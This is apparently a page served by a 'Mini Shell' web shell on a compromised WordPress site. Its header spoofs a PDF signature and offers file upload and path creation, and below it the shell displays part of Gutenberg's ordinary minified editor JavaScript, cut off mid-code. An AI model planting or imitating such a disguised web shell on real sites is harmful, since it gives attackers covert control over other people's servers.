%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/editor/
Upload File :
Create Path :
Current File : /home/dordingu/public_html/hardkjarni/wp-content/plugins/gutenberg/build/editor/index.min.js

(()=>{var e={6411:function(e,t){var n,o;n=function(e,t){"use strict";var n,o,s="function"==typeof Map?new Map:(n=[],o=[],{has:function(e){return n.indexOf(e)>-1},get:function(e){return o[n.indexOf(e)]},set:function(e,t){-1===n.indexOf(e)&&(n.push(e),o.push(t))},delete:function(e){var t=n.indexOf(e);t>-1&&(n.splice(t,1),o.splice(t,1))}}),i=function(e){return new Event(e,{bubbles:!0})};try{new Event("test")}catch(e){i=function(e){var t=document.createEvent("Event");return t.initEvent(e,!0,!1),t}}function r(e){if(e&&e.nodeName&&"TEXTAREA"===e.nodeName&&!s.has(e)){var t=null,n=null,o=null,r=function(){e.clientWidth!==n&&d()},a=function(t){window.removeEventListener("resize",r,!1),e.removeEventListener("input",d,!1),e.removeEventListener("keyup",d,!1),e.removeEventListener("autosize:destroy",a,!1),e.removeEventListener("autosize:update",d,!1),Object.keys(t).forEach((function(n){e.style[n]=t[n]})),s.delete(e)}.bind(e,{height:e.style.height,resize:e.style.resize,overflowY:e.style.overflowY,overflowX:e.style.overflowX,wordWrap:e.style.wordWrap});e.addEventListener("autosize:destroy",a,!1),"onpropertychange"in e&&"oninput"in e&&e.addEventListener("keyup",d,!1),window.addEventListener("resize",r,!1),e.addEventListener("input",d,!1),e.addEventListener("autosize:update",d,!1),e.style.overflowX="hidden",e.style.wordWrap="break-word",s.set(e,{destroy:a,update:d}),"vertical"===(l=window.getComputedStyle(e,null)).resize?e.style.resize="none":"both"===l.resize&&(e.style.resize="horizontal"),t="content-box"===l.boxSizing?-(parseFloat(l.paddingTop)+parseFloat(l.paddingBottom)):parseFloat(l.borderTopWidth)+parseFloat(l.borderBottomWidth),isNaN(t)&&(t=0),d()}var l;function c(t){var n=e.style.width;e.style.width="0px",e.offsetWidth,e.style.width=n,e.style.overflowY=t}function u(){if(0!==e.scrollHeight){var o=function(e){for(var t=[];e&&e.parentNode&&e.parentNode instanceof Element;)e.parentNode.scrollTop&&t.push({node:e.parentNode,scrollTop:e.parentNode.scrollTop}),e=e.parentNode;return t}(e),s=document.documentElement&&document.documentElement.scrollTop;e.style.height="",e.style.height=e.scrollHeight+t+"px",n=e.clientWidth,o.forEach((function(e){e.node.scrollTop=e.scrollTop})),s&&(document.documentElement.scrollTop=s)}}function d(){u();var t=Math.round(parseFloat(e.style.height)),n=window.getComputedStyle(e,null),s="content-box"===n.boxSizing?Math.round(parseFloat(n.height)):e.offsetHeight;if(s<t?"hidden"===n.overflowY&&(c("scroll"),u(),s="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight):"hidden"!==n.overflowY&&(c("hidden"),u(),s="content-box"===n.boxSizing?Math.round(parseFloat(window.getComputedStyle(e,null).height)):e.offsetHeight),o!==s){o=s;var r=i("autosize:resized");try{e.dispatchEvent(r)}catch(e){}}}}function a(e){var t=s.get(e);t&&t.destroy()}function l(e){var t=s.get(e);t&&t.update()}var c=null;"undefined"==typeof window||"function"!=typeof window.getComputedStyle?((c=function(e){return e}).destroy=function(e){return e},c.update=function(e){return e}):((c=function(e,t){return e&&Array.prototype.forEach.call(e.length?e:[e],(function(e){return r(e)})),e}).destroy=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],a),e},c.update=function(e){return e&&Array.prototype.forEach.call(e.length?e:[e],l),e}),t.default=c,e.exports=t.default},void 0===(o=n.apply(t,[e,t]))||(e.exports=o)},4403:(e,t)=>{var n;!function(){"use strict";var o={}.hasOwnProperty;function s(){for(var e=[],t=0;t<arguments.length;t++){var n=arguments[t];if(n){var i=typeof n;if("string"===i||"number"===i)e.push(n);else if(Array.isArray(n)){if(n.length){var r=s.apply(null,n);r&&e.push(r)}}else if("object"===i)if(n.toString===Object.prototype.toString)for(var a in n)o.call(n,a)&&n[a]&&e.push(a);else e.push(n.toString())}}return e.join(" ")}e.exports?(s.default=s,e.exports=s):void 0===(n=function(){return s}.apply(t,[]))||(e.exports=n)}()},4827:e=>{e.exports=function(e,t,n){return((n=window.getComputedStyle)?n(e):e.currentStyle)[t.replace(/-(\w)/gi,(function(e,t){return t.toUpperCase()}))]}},9894:(e,t,n)=>{var o=n(4827);e.exports=function(e){var t=o(e,"line-height"),n=parseFloat(t,10);if(t===n+""){var s=e.style.lineHeight;e.style.lineHeight=t+"em",t=o(e,"line-height"),n=parseFloat(t,10),s?e.style.lineHeight=s:delete e.style.lineHeight}if(-1!==t.indexOf("pt")?(n*=4,n/=3):-1!==t.indexOf("mm")?(n*=96,n/=25.4):-1!==t.indexOf("cm")?(n*=96,n/=2.54):-1!==t.indexOf("in")?n*=96:-1!==t.indexOf("pc")&&(n*=16),n=Math.round(n),"normal"===t){var i=e.nodeName,r=document.createElement(i);r.innerHTML="&nbsp;","TEXTAREA"===i.toUpperCase()&&r.setAttribute("rows","1");var a=o(e,"font-size");r.style.fontSize=a,r.style.padding="0px",r.style.border="0px";var l=document.body;l.appendChild(r),n=r.offsetHeight,l.removeChild(r)}return n}},5372:(e,t,n)=>{"use strict";var o=n(9567);function s(){}function i(){}i.resetWarningCache=s,e.exports=function(){function e(e,t,n,s,i,r){if(r!==o){var a=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw a.name="Invariant Violation",a}}function t(){return e}e.isRequired=e;var n={array:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:i,resetWarningCache:s};return n.PropTypes=n,n}},2652:(e,t,n)=>{e.exports=n(5372)()},9567:e=>{"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},5438:function(e,t,n){"use strict";var o,s=this&&this.__extends||(o=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}||function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])},function(e,t){function __(){this.constructor=e}o(e,t),e.prototype=null===t?Object.create(t):(__.prototype=t.prototype,new __)}),i=this&&this.__assign||Object.assign||function(e){for(var t,n=1,o=arguments.length;n<o;n++)for(var s in t=arguments[n])Object.prototype.hasOwnProperty.call(t,s)&&(e[s]=t[s]);return e},r=this&&this.__rest||function(e,t){var n={};for(var o in e)Object.prototype.hasOwnProperty.call(e,o)&&t.indexOf(o)<0&&(n[o]=e[o]);if(null!=e&&"function"==typeof Object.getOwnPropertySymbols){var s=0;for(o=Object.getOwnPropertySymbols(e);s<o.length;s++)t.indexOf(o[s])<0&&(n[o[s]]=e[o[s]])}return n};t.__esModule=!0;var a=n(9196),l=n(2652),c=n(6411),u=n(9894),d="autosize:resized",p=function(e){function t(){var t=null!==e&&e.apply(this,arguments)||this;return t.state={lineHeight:null},t.textarea=null,t.onResize=function(e){t.props.onResize&&t.props.onResize(e)},t.updateLineHeight=function(){t.textarea&&t.setState({lineHeight:u(t.textarea)})},t.onChange=function(e){var n=t.props.onChange;t.currentValue=e.currentTarget.value,n&&n(e)},t}return s(t,e),t.prototype.componentDidMount=function(){var e=this,t=this.props,n=t.maxRows,o=t.async;"number"==typeof n&&this.updateLineHeight(),"number"==typeof n||o?setTimeout((function(){return e.textarea&&c(e.textarea)})):this.textarea&&c(this.textarea),this.textarea&&this.textarea.addEventListener(d,this.onResize)},t.prototype.componentWillUnmount=function(){this.textarea&&(this.textarea.removeEventListener(d,this.onResize),c.destroy(this.textarea))},t.prototype.render=function(){var e=this,t=this.props,n=(t.onResize,t.maxRows),o=(t.onChange,t.style),s=(t.innerRef,t.children),l=r(t,["onResize","maxRows","onChange","style","innerRef","children"]),c=this.state.lineHeight,u=n&&c?c*n:null;return a.createElement("textarea",i({},l,{onChange:this.onChange,style:u?i({},o,{maxHeight:u}):o,ref:function(t){e.textarea=t,"function"==typeof e.props.innerRef?e.props.innerRef(t):e.props.innerRef&&(e.props.innerRef.current=t)}}),s)},t.prototype.componentDidUpdate=function(){this.textarea&&c.update(this.textarea)},t.defaultProps={rows:1,async:!1},t.propTypes={rows:l.number,maxRows:l.number,onResize:l.func,innerRef:l.any,async:l.bool},t}(a.Component);t.TextareaAutosize=a.forwardRef((function(e,t){return a.createElement(p,i({},e,{innerRef:t}))}))},773:(e,t,n)=>{"use strict";var o=n(5438);t.Z=o.TextareaAutosize},4793:e=>{var t={À:"A",Á:"A",Â:"A",Ã:"A",Ä:"A",Å:"A",Ấ:"A",Ắ:"A",Ẳ:"A",Ẵ:"A",Ặ:"A",Æ:"AE",Ầ:"A",Ằ:"A",Ȃ:"A",Ç:"C",Ḉ:"C",È:"E",É:"E",Ê:"E",Ë:"E",Ế:"E",Ḗ:"E",Ề:"E",Ḕ:"E",Ḝ:"E",Ȇ:"E",Ì:"I",Í:"I",Î:"I",Ï:"I",Ḯ:"I",Ȋ:"I",Ð:"D",Ñ:"N",Ò:"O",Ó:"O",Ô:"O",Õ:"O",Ö:"O",Ø:"O",Ố:"O",Ṍ:"O",Ṓ:"O",Ȏ:"O",Ù:"U",Ú:"U",Û:"U",Ü:"U",Ý:"Y",à:"a",á:"a",â:"a",ã:"a",ä:"a",å:"a",ấ:"a",ắ:"a",ẳ:"a",ẵ:"a",ặ:"a",æ:"ae",ầ:"a",ằ:"a",ȃ:"a",ç:"c",ḉ:"c",è:"e",é:"e",ê:"e",ë:"e",ế:"e",ḗ:"e",ề:"e",ḕ:"e",ḝ:"e",ȇ:"e",ì:"i",í:"i",î:"i",ï:"i",ḯ:"i",ȋ:"i",ð:"d",ñ:"n",ò:"o",ó:"o",ô:"o",õ:"o",ö:"o",ø:"o",ố:"o",ṍ:"o",ṓ:"o",ȏ:"o",ù:"u",ú:"u",û:"u",ü:"u",ý:"y",ÿ:"y",Ā:"A",ā:"a",Ă:"A",ă:"a",Ą:"A",ą:"a",Ć:"C",ć:"c",Ĉ:"C",ĉ:"c",Ċ:"C",ċ:"c",Č:"C",č:"c",C̆:"C",c̆:"c",Ď:"D",ď:"d",Đ:"D",đ:"d",Ē:"E",ē:"e",Ĕ:"E",ĕ:"e",Ė:"E",ė:"e",Ę:"E",ę:"e",Ě:"E",ě:"e",Ĝ:"G",Ǵ:"G",ĝ:"g",ǵ:"g",Ğ:"G",ğ:"g",Ġ:"G",ġ:"g",Ģ:"G",ģ:"g",Ĥ:"H",ĥ:"h",Ħ:"H",ħ:"h",Ḫ:"H",ḫ:"h",Ĩ:"I",ĩ:"i",Ī:"I",ī:"i",Ĭ:"I",ĭ:"i",Į:"I",į:"i",İ:"I",ı:"i",IJ:"IJ",ij:"ij",Ĵ:"J",ĵ:"j",Ķ:"K",ķ:"k",Ḱ:"K",ḱ:"k",K̆:"K",k̆:"k",Ĺ:"L",ĺ:"l",Ļ:"L",ļ:"l",Ľ:"L",ľ:"l",Ŀ:"L",ŀ:"l",Ł:"l",ł:"l",Ḿ:"M",ḿ:"m",M̆:"M",m̆:"m",Ń:"N",ń:"n",Ņ:"N",ņ:"n",Ň:"N",ň:"n",ʼn:"n",N̆:"N",n̆:"n",Ō:"O",ō:"o",Ŏ:"O",ŏ:"o",Ő:"O",ő:"o",Œ:"OE",œ:"oe",P̆:"P",p̆:"p",Ŕ:"R",ŕ:"r",Ŗ:"R",ŗ:"r",Ř:"R",ř:"r",R̆:"R",r̆:"r",Ȓ:"R",ȓ:"r",Ś:"S",ś:"s",Ŝ:"S",ŝ:"s",Ş:"S",Ș:"S",ș:"s",ş:"s",Š:"S",š:"s",Ţ:"T",ţ:"t",ț:"t",Ț:"T",Ť:"T",ť:"t",Ŧ:"T",ŧ:"t",T̆:"T",t̆:"t",Ũ:"U",ũ:"u",Ū:"U",ū:"u",Ŭ:"U",ŭ:"u",Ů:"U",ů:"u",Ű:"U",ű:"u",Ų:"U",ų:"u",Ȗ:"U",ȗ:"u",V̆:"V",v̆:"v",Ŵ:"W",ŵ:"w",Ẃ:"W",ẃ:"w",X̆:"X",x̆:"x",Ŷ:"Y",ŷ:"y",Ÿ:"Y",Y̆:"Y",y̆:"y",Ź:"Z",ź:"z",Ż:"Z",ż:"z",Ž:"Z",ž:"z",ſ:"s",ƒ:"f",Ơ:"O",ơ:"o",Ư:"U",ư:"u",Ǎ:"A",ǎ:"a",Ǐ:"I",ǐ:"i",Ǒ:"O",ǒ:"o",Ǔ:"U",ǔ:"u",Ǖ:"U",ǖ:"u",Ǘ:"U",ǘ:"u",Ǚ:"U",ǚ:"u",Ǜ:"U",ǜ:"u",Ứ:"U",ứ:"u",Ṹ:"U",ṹ:"u",Ǻ:"A",ǻ:"a",Ǽ:"AE",ǽ:"ae",Ǿ:"O",ǿ:"o",Þ:"TH",þ:"th",Ṕ:"P",ṕ:"p",Ṥ:"S",ṥ:"s",X́:"X",x́:"x",Ѓ:"Г",ѓ:"г",Ќ:"К",ќ:"к",A̋:"A",a̋:"a",E̋:"E",e̋:"e",I̋:"I",i̋:"i",Ǹ:"N",ǹ:"n",Ồ:"O",ồ:"o",Ṑ:"O",ṑ:"o",Ừ:"U",ừ:"u",Ẁ:"W",ẁ:"w",Ỳ:"Y",ỳ:"y",Ȁ:"A",ȁ:"a",Ȅ:"E",ȅ:"e",Ȉ:"I",ȉ:"i",Ȍ:"O",ȍ:"o",Ȑ:"R",ȑ:"r",Ȕ:"U",ȕ:"u",B̌:"B",b̌:"b",Č̣:"C",č̣:"c",Ê̌:"E",ê̌:"e",F̌:"F",f̌:"f",Ǧ:"G",ǧ:"g",Ȟ:"H",ȟ:"h",J̌:"J",ǰ:"j",Ǩ:"K",ǩ:"k",M̌:"M",m̌:"m",P̌:"P",p̌:"p",Q̌:"Q",q̌:"q",Ř̩:"R",ř̩:"r",Ṧ:"S",ṧ:"s",V̌:"V",v̌:"v",W̌:"W",w̌:"w",X̌:"X",x̌:"x",Y̌:"Y",y̌:"y",A̧:"A",a̧:"a",B̧:"B",b̧:"b",Ḑ:"D",ḑ:"d",Ȩ:"E",ȩ:"e",Ɛ̧:"E",ɛ̧:"e",Ḩ:"H",ḩ:"h",I̧:"I",i̧:"i",Ɨ̧:"I",ɨ̧:"i",M̧:"M",m̧:"m",O̧:"O",o̧:"o",Q̧:"Q",q̧:"q",U̧:"U",u̧:"u",X̧:"X",x̧:"x",Z̧:"Z",z̧:"z"},n=Object.keys(t).join("|"),o=new RegExp(n,"g"),s=new RegExp(n,""),i=function(e){return e.replace(o,(function(e){return t[e]}))};e.exports=i,e.exports.has=function(e){return!!e.match(s)},e.exports.remove=i},9196:e=>{"use strict";e.exports=window.React}},t={};function n(o){var s=t[o];if(void 0!==s)return s.exports;var i=t[o]={exports:{}};return e[o].call(i.exports,i,i.exports,n),i.exports}n.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return n.d(t,{a:t}),t},n.d=(e,t)=>{for(var o in t)n.o(t,o)&&!n.o(e,o)&&Object.defineProperty(e,o,{enumerable:!0,get:t[o]})},n.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),n.r=e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})};var o={};(()=>{"use strict";n.r(o),n.d(o,{AlignmentToolbar:()=>wr,Autocomplete:()=>Sr,AutosaveMonitor:()=>lo,BlockAlignmentToolbar:()=>Pr,BlockControls:()=>kr,BlockEdit:()=>Cr,BlockEditorKeyboardShortcuts:()=>Tr,BlockFormatControls:()=>xr,BlockIcon:()=>Br,BlockInspector:()=>Ar,BlockList:()=>Ir,BlockMover:()=>Nr,BlockNavigationDropdown:()=>Rr,BlockSelectionClearer:()=>Dr,BlockSettingsMenu:()=>Lr,BlockTitle:()=>Or,BlockToolbar:()=>Ur,ColorPalette:()=>Fr,ContrastChecker:()=>Mr,CopyHandler:()=>zr,DefaultBlockAppender:()=>Vr,DocumentOutline:()=>bo,DocumentOutlineCheck:()=>Eo,EditorHistoryRedo:()=>Io,EditorHistoryUndo:()=>No,EditorKeyboardShortcutsRegister:()=>To,EditorNotices:()=>Do,EditorProvider:()=>vr,EditorSnackbars:()=>Lo,EntitiesSavedStates:()=>Vo,ErrorBoundary:()=>Go,FontSizePicker:()=>Hr,InnerBlocks:()=>Gr,Inserter:()=>Wr,InspectorAdvancedControls:()=>jr,InspectorControls:()=>$r,LocalAutosaveMonitor:()=>Yo,MediaPlaceholder:()=>Zr,MediaUpload:()=>Jr,MediaUploadCheck:()=>ea,MultiSelectScrollIntoView:()=>ta,NavigableToolbar:()=>na,ObserveTyping:()=>oa,PageAttributesCheck:()=>qo,PageAttributesOrder:()=>Zo,PageAttributesParent:()=>rs,PageTemplate:()=>as,PanelColorSettings:()=>Kr,PlainText:()=>Yr,PostAuthor:()=>ds,PostAuthorCheck:()=>ps,PostComments:()=>ms,PostExcerpt:()=>hs,PostExcerptCheck:()=>gs,PostFeaturedImage:()=>Cs,PostFeaturedImageCheck:()=>fs,PostFormat:()=>Bs,PostFormatCheck:()=>Ts,PostLastRevision:()=>Ns,PostLastRevisionCheck:()=>Is,PostLockedModal:()=>Rs,PostPendingStatus:()=>Ls,PostPendingStatusCheck:()=>Ds,PostPingbacks:()=>Os,PostPreviewButton:()=>Fs,PostPublishButton:()=>Hs,PostPublishButtonLabel:()=>Ms,PostPublishPanel:()=>Ai,PostSavedState:()=>Oi,PostSchedule:()=>Xs,PostScheduleCheck:()=>Ui,PostScheduleLabel:()=>Zs,PostSlug:()=>zi,PostSlugCheck:()=>Fi,PostSticky:()=>Hi,PostStickyCheck:()=>Vi,PostSwitchToDraftButton:()=>Li,PostTaxonomies:()=>Gi,PostTaxonomiesCheck:()=>ji,PostTaxonomiesFlatTermSelector:()=>di,PostTaxonomiesHierarchicalTermSelector:()=>Ei,PostTextEditor:()=>Ki,PostTitle:()=>qi,PostTrash:()=>Qi,PostTrashCheck:()=>Xi,PostTypeSupportCheck:()=>Qo,PostURL:()=>Zi,PostURLCheck:()=>Ji,PostURLLabel:()=>er,PostVisibility:()=>$s,PostVisibilityCheck:()=>nr,PostVisibilityLabel:()=>Ys,RichText:()=>Er,RichTextShortcut:()=>qr,RichTextToolbarButton:()=>Qr,ServerSideRender:()=>fr(),SkipToSelectedBlock:()=>sa,TableOfContents:()=>cr,TextEditorGlobalKeyboardShortcuts:()=>ko,ThemeSupportCheck:()=>_s,URLInput:()=>ia,URLInputButton:()=>ra,URLPopover:()=>aa,UnsavedChangesWarning:()=>ur,VisualEditorGlobalKeyboardShortcuts:()=>Po,Warning:()=>la,WordCount:()=>ir,WritingFlow:()=>ca,__unstableRichTextInputEvent:()=>Xr,cleanForSlug:()=>ya,createCustomColorsHOC:()=>ua,getColorClassName:()=>da,getColorObjectByAttributeValues:()=>pa,getColorObjectByColorValue:()=>ma,getFontSize:()=>ha,getFontSizeClass:()=>ga,getTemplatePartIcon:()=>O,mediaUpload:()=>gr,store:()=>oo,storeConfig:()=>no,transformStyles:()=>p.transformStyles,usePostScheduleLabel:()=>Js,usePostURLLabel:()=>tr,usePostVisibilityLabel:()=>qs,userAutocompleter:()=>ro,withColorContext:()=>va,withColors:()=>_a,withFontSizes:()=>fa});var e={};n.r(e),n.d(e,{__experimentalGetDefaultTemplatePartAreas:()=>Vt,__experimentalGetDefaultTemplateType:()=>Ht,__experimentalGetDefaultTemplateTypes:()=>zt,__experimentalGetTemplateInfo:()=>Wt,__unstableIsEditorReady:()=>Fe,canInsertBlockType:()=>Ot,canUserUseUnfilteredHTML:()=>Ne,didPostSaveRequestFail:()=>ge,didPostSaveRequestSucceed:()=>he,getActivePostLock:()=>Ie,getAdjacentBlockClientId:()=>at,getAutosaveAttribute:()=>ee,getBlock:()=>$e,getBlockAttributes:()=>je,getBlockCount:()=>Ze,getBlockHierarchyRootClientId:()=>rt,getBlockIndex:()=>Et,getBlockInsertionPoint:()=>It,getBlockListSettings:()=>Mt,getBlockMode:()=>xt,getBlockName:()=>We,getBlockOrder:()=>bt,getBlockRootClientId:()=>it,getBlockSelectionEnd:()=>et,getBlockSelectionStart:()=>Je,getBlocks:()=>Ke,getBlocksByClientId:()=>Xe,getClientIdsOfDescendants:()=>Ye,getClientIdsWithDescendants:()=>qe,getCurrentPost:()=>$,getCurrentPostAttribute:()=>Z,getCurrentPostId:()=>Y,getCurrentPostLastRevisionId:()=>Q,getCurrentPostRevisionsCount:()=>q,getCurrentPostType:()=>K,getEditedPostAttribute:()=>J,getEditedPostContent:()=>be,getEditedPostPreviewLink:()=>fe,getEditedPostSlug:()=>Pe,getEditedPostVisibility:()=>te,getEditorBlocks:()=>De,getEditorSelection:()=>Ue,getEditorSelectionEnd:()=>Oe,getEditorSelectionStart:()=>Le,getEditorSettings:()=>Me,getFirstMultiSelectedBlockClientId:()=>mt,getGlobalBlockCount:()=>Qe,getInserterItems:()=>Ut,getLastMultiSelectedBlockClientId:()=>ht,getMultiSelectedBlockClientIds:()=>dt,getMultiSelectedBlocks:()=>pt,getMultiSelectedBlocksEndClientId:()=>yt,getMultiSelectedBlocksStartClientId:()=>ft,getNextBlockClientId:()=>ct,getPermalink:()=>we,getPermalinkParts:()=>ke,getPostEdits:()=>X,getPostLockUser:()=>Ae,getPostTypeLabel:()=>Gt,getPreviousBlockClientId:()=>lt,getSelectedBlock:()=>st,getSelectedBlockClientId:()=>ot,getSelectedBlockCount:()=>tt,getSelectedBlocksInitialCaretPosition:()=>ut,getStateBeforeOptimisticTransaction:()=>ze,getSuggestedPostFormat:()=>ye,getTemplate:()=>Dt,getTemplateLock:()=>Lt,hasChangedContent:()=>H,hasEditorRedo:()=>z,hasEditorUndo:()=>M,hasInserterItems:()=>Ft,hasMultiSelection:()=>kt,hasNonPostEntityChanges:()=>G,hasSelectedBlock:()=>nt,hasSelectedInnerBlock:()=>wt,inSomeHistory:()=>Ve,isAncestorMultiSelected:()=>_t,isAutosavingPost:()=>ve,isBlockInsertionPointVisible:()=>Nt,isBlockMultiSelected:()=>vt,isBlockSelected:()=>St,isBlockValid:()=>Ge,isBlockWithinSelection:()=>Pt,isCaretWithinFormattedText:()=>At,isCleanNewPost:()=>j,isCurrentPostPending:()=>ne,isCurrentPostPublished:()=>oe,isCurrentPostScheduled:()=>se,isDeletingPost:()=>de,isEditedPostAutosaveable:()=>le,isEditedPostBeingScheduled:()=>ce,isEditedPostDateFloating:()=>ue,isEditedPostDirty:()=>W,isEditedPostEmpty:()=>ae,isEditedPostNew:()=>V,isEditedPostPublishable:()=>ie,isEditedPostSaveable:()=>re,isFirstMultiSelectedBlock:()=>gt,isMultiSelecting:()=>Ct,isPermalinkEditable:()=>Se,isPostAutosavingLocked:()=>xe,isPostLockTakeover:()=>Be,isPostLocked:()=>Ce,isPostSavingLocked:()=>Te,isPreviewingPost:()=>_e,isPublishSidebarEnabled:()=>Re,isPublishingPost:()=>Ee,isSavingNonPostEntityChanges:()=>me,isSavingPost:()=>pe,isSelectionEnabled:()=>Tt,isTyping:()=>Bt,isValidTemplate:()=>Rt});var t={};function s(){return s=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var o in n)Object.prototype.hasOwnProperty.call(n,o)&&(e[o]=n[o])}return e},s.apply(this,arguments)}n.r(t),n.d(t,{__experimentalTearDownEditor:()=>tn,autosave:()=>un,clearSelectedBlock:()=>Rn,createUndoLevel:()=>mn,disablePublishSidebar:()=>vn,editPost:()=>rn,enablePublishSidebar:()=>gn,enterFormattedText:()=>Zn,exitFormattedText:()=>Jn,hideInsertionPoint:()=>Wn,insertBlock:()=>zn,insertBlocks:()=>Vn,insertDefaultBlock:()=>eo,lockPostAutosaving:()=>bn,lockPostSaving:()=>fn,mergeBlocks:()=>$n,moveBlockToPosition:()=>Mn,moveBlocksDown:()=>Un,moveBlocksUp:()=>Fn,multiSelect:()=>Nn,receiveBlocks:()=>Cn,redo:()=>dn,refreshPost:()=>ln,removeBlock:()=>Yn,removeBlocks:()=>Kn,replaceBlock:()=>On,replaceBlocks:()=>Ln,resetBlocks:()=>kn,resetEditorBlocks:()=>Sn,resetPost:()=>nn,savePost:()=>an,selectBlock:()=>Bn,setTemplateValidity:()=>Gn,setupEditor:()=>en,setupEditorState:()=>sn,showInsertionPoint:()=>Hn,startMultiSelect:()=>An,startTyping:()=>Qn,stopMultiSelect:()=>In,stopTyping:()=>Xn,synchronizeTemplate:()=>jn,toggleBlockMode:()=>qn,toggleSelection:()=>Dn,trashPost:()=>cn,undo:()=>pn,unlockPostAutosaving:()=>En,unlockPostSaving:()=>yn,updateBlock:()=>Tn,updateBlockAttributes:()=>xn,updateBlockListSettings:()=>to,updateEditorSettings:()=>wn,updatePost:()=>on,updatePostLock:()=>hn});const i=window.wp.element,r=window.lodash,a=window.wp.blocks,l=window.wp.data,c=window.wp.coreData,u=window.wp.compose,d=window.wp.hooks,p=window.wp.blockEditor,m={...p.SETTINGS_DEFAULTS,richEditingEnabled:!0,codeEditingEnabled:!0,enableCustomFields:void 0,supportsLayout:!0};function h(e){return e&&"object"==typeof e&&"raw"in e?e.raw:e}const g=(0,l.combineReducers)({postId:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1?arguments[1]:void 0;return"SETUP_EDITOR_STATE"===t.type?t.post.id:e},postType:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,t=arguments.length>1?arguments[1]:void 0;return"SETUP_EDITOR_STATE"===t.type?t.post.type:e},saving:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"REQUEST_POST_UPDATE_START":case"REQUEST_POST_UPDATE_FINISH":return{pending:"REQUEST_POST_UPDATE_START"===t.type,options:t.options||{}}}return e},deleting:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"REQUEST_POST_DELETE_START":case"REQUEST_POST_DELETE_FINISH":return{pending:"REQUEST_POST_DELETE_START"===t.type}}return e},postLock:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{isLocked:!1},t=arguments.length>1?arguments[1]:void 0;return"UPDATE_POST_LOCK"===t.type?t.lock:e},template:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{isValid:!0},t=arguments.length>1?arguments[1]:void 0;return"SET_TEMPLATE_VALIDITY"===t.type?{...e,isValid:t.isValid}:e},postSavingLock:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"LOCK_POST_SAVING":return{...e,[t.lockName]:!0};case"UNLOCK_POST_SAVING":{const{[t.lockName]:n,...o}=e;return o}}return e},isReady:function(){let e=arguments.length>0&&void 0!==arguments[0]&&arguments[0],t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"SETUP_EDITOR_STATE":return!0;case"TEAR_DOWN_EDITOR":return!1}return e},editorSettings:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:m,t=arguments.length>1?arguments[1]:void 0;return"UPDATE_EDITOR_SETTINGS"===t.type?{...e,...t.settings}:e},postAutosavingLock:function(){let e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;switch(t.type){case"LOCK_POST_AUTOSAVING":return{...e,[t.lockName]:!0};case"UNLOCK_POST_AUTOSAVING":{const{[t.lockName]:n,...o}=e;return o}}return e}});var v={};function _(e){return[e]}function f(e,t,n){var o;if(e.length!==t.length)return!1;for(o=n;o<e.length;o++)if(e[o]!==t[o])return!1;return!0}function y(e,t){var n,o=t||_;function s(e){var t,o,s,i,r,a=n,l=!0;for(t=0;t<e.length;t++){if(!(r=o=e[t])||"object"!=typeof r){l=!1;break}a.has(o)?a=a.get(o):(s=new WeakMap,a.set(o,s),a=s)}return a.has(v)||((i=function(){var e={clear:function(){e.head=null}};return e}()).isUniqueByDependants=l,a.set(v,i)),a.get(v)}function i(){n=new WeakMap}function r(){var t,n,i,r,a,l=arguments.length;for(r=new Array(l),i=0;i<l;i++)r[i]=arguments[i];for((t=s(a=o.apply(null,r))).isUniqueByDependants||(t.lastDependants&&!f(a,t.lastDependants,0)&&t.clear(),t.lastDependants=a),n=t.head;n;){if(f(n.args,r,1))return n!==t.head&&(n.prev.next=n.next,n.next&&(n.next.prev=n.prev),n.next=t.head,n.prev=null,t.head.prev=n,t.head=n),n.val;n=n.next}return n={val:e.apply(null,r)},r[0]=null,n.args=r,t.head&&(t.head.prev=n,n.next=t.head),t.head=n,n.val}return r.getDependants=o,r.clear=i,i(),r}const b=window.wp.date,E=window.wp.url,S=window.wp.deprecated;var w=n.n(S);const P=window.wp.primitives,k=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,i.createElement)(P.Path,{d:"M18 5.5H6a.5.5 0 00-.5.5v3h13V6a.5.5 0 00-.5-.5zm.5 5H10v8h8a.5.5 0 00.5-.5v-7.5zm-10 0h-3V18a.5.5 0 00.5.5h2.5v-8zM6 4h12a2 2 0 012 2v12a2 2 0 01-2 2H6a2 2 0 01-2-2V6a2 2 0 012-2z"})),C=window.wp.preferences,T=new Set(["meta"]),x="SAVE_POST_NOTICE_ID",B="TRASH_POST_NOTICE_ID",A=/%(?:postname|pagename)%/,I=["title","excerpt","content"],N=(0,i.createElement)(P.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 